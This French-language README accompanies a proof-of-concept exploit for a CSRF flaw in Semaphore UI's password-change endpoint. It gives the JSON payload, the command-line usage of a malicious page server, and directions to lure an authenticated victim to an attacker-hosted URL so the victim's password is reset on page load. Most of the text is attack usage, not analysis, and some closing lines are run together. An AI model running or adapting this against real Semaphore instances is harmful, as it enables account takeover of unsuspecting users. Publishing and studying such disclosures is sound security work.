
Preuve de concept pour la CVE-2026-73292 : attaque CSRF sur l'endpoint de changement de mot de passe de Semaphore UI, servant une page malveillante qui réinitialise silencieusement le mot de passe d'un utilisateur authentifié.
À des fins éducatives et de divulgation responsable uniquement.
Cette vulnérabilité a été signalée dans GHSA-8cj9-r88m-8945 et affecte les versions de semaphoreui inférieures à 2.18.21.
Le point de terminaison de changement de mot de passe de Semaphore UI n'implémente aucune protection CSRF :
semaphore) sans application de SameSiteUne page malveillante peut modifier silencieusement le mot de passe de tout utilisateur authentifié qui la visite.
Point de terminaison concerné : POST /api/users/{id}/password
{"password": "newpassword", "project_id": 1}
python poc_server.py -u http://TARGET:3000 -i USER_ID [-n NEW_PASSWORD] [-p PORT]
| Argument | Description | Défaut |
|---|---|---|
-u / --uri | URL de base de l'instance Semaphore | requis |
-i / --user_id | ID de l'utilisateur cible | requis |
-n / --new_password | Mot de passe à définir | passwordchanged |
-p / --port | Port pour servir la page malveillante | 1337 |
python poc_server.py -u http://192.168.1.10:3000 -i 1 -n pwn3d -p 1337
Envoyez ensuite la victime (authentifiée sur Semaphore) vers http://ATTACKER:1337. Son mot de passe est modifié immédiatement au chargement de la page.
python poc.py -u http://TARGET:3000 -i 1
http://ATTACKER:1337/api/users/1/password renvoyant HTTP 204SameSite=Strict sur le cookie de session